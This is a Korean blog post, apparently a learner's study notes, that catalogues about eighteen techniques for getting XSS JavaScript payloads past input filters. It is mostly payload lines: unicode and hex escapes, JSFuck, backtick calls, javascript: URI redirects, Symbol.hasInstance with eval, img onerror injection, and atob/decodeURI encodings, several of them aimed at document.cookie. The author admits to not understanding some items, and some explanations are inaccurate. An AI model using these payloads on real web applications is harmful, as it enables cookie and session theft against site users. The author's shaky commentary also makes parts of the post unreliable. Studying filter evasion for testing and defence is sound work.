본문 바로가기

보안/XSS

자바스크립트 필터링 우회하는방법

1.자바스크립트는 유니코드로 문자를 표현할수있다

var foo = "\u0063ookie"; // cookie

var bar = "cooki\x65"; // cookie

\u0061lert(document.cookie); // alert(document.cookie)

 

2. Computed member access 뭔지잘몰라 걍  EX)document["coo"+"kie"] == document["cookie"] == document.cookie

alert(document["\u0063ook" + "ie"]); // alert(document.cookie)

window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)

 

3.alert우회하기 window['al'+'ert']는 alert와 같은기능을한다

 

4. 자바스크립트의 언어적 특성활용하기 : 자바스크립트는 [,],(,),+,! 6가지문자만 사용하여 모든동작을 수행할수있다 

장점:간편하다단점:길어진다특수문자 필터링이없으면 적극이용하자

https://jsfuck.com 사이트를 통해서 번역하자

 

JSFuck - Write any JavaScript with 6 Characters: []()!+

 

jsfuck.com

5.문자열 우회하기 : 큰따옴표나 작은따옴표가 필터링에 걸린다 `백틱문자와 $표현식을 사용하여 우회할수있다

EX) var foo = "Hello";

var bar = "World";

var baz = `${foo},${bar} ${1+1}.`; // "Hello,\nWorld 2."

 

6. RegExp 객체 사용하기

EX) var foo = /Hello World!/.source; // "Hello World!"

       var bar = /test !/ + []; // "/test !/"

뭔질 잘모르겠다 그냥 /사이에 문자열넣고 .source를 뒤에넣으면 문자열을 우회할수있나보구나

+[]를 뒤에넣으면 문자열을 우회할수있나보구나

 

7. String.fromCharCode 함수 사용

var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello" 함수에 유니코드값을 넣으면 문자로변형시켜서 이어주나보다

 

8. 기본 내장 함수나 객체의 문자를 사용하는 방법

var baz = history.toString()[8] // "H"

(history+[])[9]  // "i"

대충 H가 알파벳8번째니 저함수를 사용하면 H를 출력할수있고 i도 똑같은느낌이다

 

9.10진수를 36진수로표현하면 영어소문자모두를 표현할수있다 : 예를들면 29234652라는 10진수값이있다 이걸 36진수로 표현하면 hello가 나온다!! 이걸 활용하여 문자열을 우회할수있다 신기방기이걸 알아낸사람은 천재다

EX) var foo = (29234652).toString(36); // "hello"

 

10.만약 함수를 사용해야하는데 소괄호가 필터링이되면 백틱`으로 대체가 가능하다

alert(1) == alert`1`;

 

11.javascript스키마를 이용한 location변경

location="javascript:alert\x28document.domain\x29;";

location.href="javascript:alert\u0028document.domain\u0029;";

location['href']="javascript:alert\050document.domain\051;";

 

12. hasInstance를 이용한 우회

"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};

Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];

 

13.document.body.innerHTML추가 이게뭐냐면 자바스크립트내에서 html코드를 추가하는것을 가능하게해준다

주의할점은 <script>태그는 보안상의 이유로 사용할수없게 해놔서 이벤트핸들러를 이용한다

document.body.innerHTML+="<img src="#" onerror=alert&#40;1&#41;>";

 

14. url디코딩으로 문자를 우회할수있다 

EX) decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29')

=alert(document.cookie)

 

15 base64디코딩으로 문자열을 우회할수있다

EX) atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ') == alert(document.cookie)

 

16.Boolean[constructor](입력)(); 을사용하면 입력한값을 실행할수있다

 

17.소괄호 우회하는법

[URL+0][0][12]==(

[URL+0][0][13]==)

 

18.탭(%09)으로 우회하기

'보안 > XSS' 카테고리의 다른 글

CSP란?  (0) 2024.06.04
XSS 우회하는 방법 모음  (0) 2024.05.26
XSS공격 가능한 태그,속성 모음  (0) 2024.05.26